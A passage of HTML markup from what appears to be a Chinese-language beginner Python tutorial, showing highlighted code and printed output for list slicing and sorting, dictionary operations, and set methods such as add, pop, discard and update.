</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 删除元素</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="mf">3.14</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">my_list</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="s1">&#39;apple&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span> <span class="c1"># 清空</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[3, &#39;apple&#39;, [1, 2, 3], &#39;steem&#39;, {&#39;name&#39;: &#39;yjcps&#39;}, 555, 16, 22, 73, 45]
</span></span><span class="line"><span class="cl">[3, &#39;apple&#39;, [1, 2, 3], &#39;steem&#39;, {&#39;name&#39;: &#39;yjcps&#39;}, 555, 16, 22, 73]
</span></span><span class="line"><span class="cl">[3, [1, 2, 3], &#39;steem&#39;, {&#39;name&#39;: &#39;yjcps&#39;}, 555, 16, 22, 73]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[]
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 切片 list[起:s止:步伐]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">8</span><span class="p">:</span><span class="mi">2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">[</span><span class="mi">3</span><span class="p">:</span><span class="o">-</span><span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">:</span><span class="mi">3</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
</span></span><span class="line"><span class="cl">[3, 4, 5]
</span></span><span class="line"><span class="cl">[2, 4, 6, 8]
</span></span><span class="line"><span class="cl">[4, 5, 6, 7]
</span></span><span class="line"><span class="cl">[9, 8, 7, 6, 5]
</span></span><span class="line"><span class="cl">[10, 9, 8, 7, 6, 5, 4, 3, 2, 1]
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 排序</span>
</span></span><span class="line"><span class="cl"><span class="n">my_num</span> <span class="o">=</span> <span class="p">[</span><span class="mi">11</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mf">12.4</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">sorted</span><span class="p">(</span><span class="n">my_num</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">sorted</span><span class="p">(</span><span class="n">my_num</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">)</span> <span class="c1"># 不改变原来的列表</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_num</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">)</span> <span class="c1"># 改变原来的列表</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[3, 4, 6, 11, 12.4, 23, 34, 56, 77, 98]
</span></span><span class="line"><span class="cl">[98, 77, 56, 34, 23, 12.4, 11, 6, 4, 3]
</span></span><span class="line"><span class="cl">[11, 4, 56, 98, 34, 6, 77, 23, 12.4, 3]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[98, 77, 56, 34, 23, 12.4, 11, 6, 4, 3]
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="字典">字典</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 创建</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;D&#39;</span><span class="p">:</span> <span class="mi">4</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;E&#39;</span><span class="p">:</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_keys</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">,</span> <span class="s1">&#39;E&#39;</span><span class="p">,</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;G&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">list_keys</span><span class="p">,</span> <span class="n">list_values</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;A&#39;: 1, &#39;B&#39;: 2, &#39;C&#39;: 3, &#39;D&#39;: 4, &#39;E&#39;: 5}
</span></span><span class="line"><span class="cl">{&#39;A&#39;: 1, &#39;B&#39;: 2, &#39;C&#39;: 3, &#39;D&#39;: 4, &#39;E&#39;: 5, &#39;F&#39;: 6}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 访问</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">[</span><span class="s1">&#39;B&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="o">.</span><span class="n">keys</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="o">.</span><span class="n">values</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2
</span></span><span class="line"><span class="cl">dict_keys([&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;])
</span></span><span class="line"><span class="cl">dict_values([1, 2, 3, 4, 5, 6])
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">my_dictionary</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">my_dictionary</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">[</span><span class="n">k</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">A 1
</span></span><span class="line"><span class="cl">B 2
</span></span><span class="line"><span class="cl">C 3
</span></span><span class="line"><span class="cl">D 4
</span></span><span class="line"><span class="cl">E 5
</span></span><span class="line"><span class="cl">F 6
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">2
</span></span><span class="line"><span class="cl">3
</span></span><span class="line"><span class="cl">4
</span></span><span class="line"><span class="cl">5
</span></span><span class="line"><span class="cl">6
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 更新</span>
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span><span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;one&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="s1">&#39;two&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="s1">&#39;three&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">F</span><span class="o">=</span><span class="s1">&#39;six&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;A&#39;: &#39;one&#39;, &#39;B&#39;: 2, &#39;C&#39;: 3, &#39;D&#39;: 4, &#39;E&#39;: 5, &#39;F&#39;: 6}
</span></span><span class="line"><span class="cl">{&#39;A&#39;: &#39;one&#39;, &#39;B&#39;: &#39;two&#39;, &#39;C&#39;: &#39;three&#39;, &#39;D&#39;: 4, &#39;E&#39;: 5, &#39;F&#39;: &#39;six&#39;}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 删除</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="o">.</span><span class="n">popitem</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="o">.</span><span class="n">popitem</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="s1">&#39;B&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span> <span class="c1"># 清空</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(&#39;F&#39;, &#39;six&#39;)
</span></span><span class="line"><span class="cl">(&#39;E&#39;, 5)
</span></span><span class="line"><span class="cl">{&#39;A&#39;: &#39;one&#39;, &#39;B&#39;: &#39;two&#39;, &#39;C&#39;: &#39;three&#39;, &#39;D&#39;: 4}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">two
</span></span><span class="line"><span class="cl">{&#39;A&#39;: &#39;one&#39;, &#39;C&#39;: &#39;three&#39;, &#39;D&#39;: 4}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">{}
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="集合">集合</h3>
<p>集合里的元素是唯一的，无序的，可以行交集、并集、差集等运算</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 创建</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_set_1</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">my_set_2</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_2</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{1, 3, 4, 5, 6, 7, 8}
</span></span><span class="line"><span class="cl">{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 增删改 </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_set_1</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">99</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">my_set_1</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">45</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="o">.</span><span class="n">pop</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="o">.</span><span class="n">pop</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{1, 3, 4, 5, 6, 7, 8, 99, 45}
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">3
</span></span><span class="line"><span class="cl">{4, 5, 6, 7, 8, 99, 45}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_set_1</span><span class="o">.</span><span class="n">discard</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{4, 5, 7, 8, 99, 45}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_set_1</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{4, 5, 7, 99, 45}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_set_1</span><span class="o">.</span><span class="n">update</span><span class="p">([</span><span class="mi">8</span><span class="p">,</span> <span class="mi">15</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{4, 5, 7, 8, 99, 45, 15}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 遍历</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">s</span> <span class="ow">in</span>  <span class="n">my_set_1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4
</span></span><span class="line"><span class="cl">5
</span></span><span class="line"><span class="cl">7
</span></span><span class="line"><span class="cl">8
</span></span><span class="line"><span class="cl">99
</span></span><span class="line"><span class="cl">45
</span></span><span class="line"><span class="cl">15
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
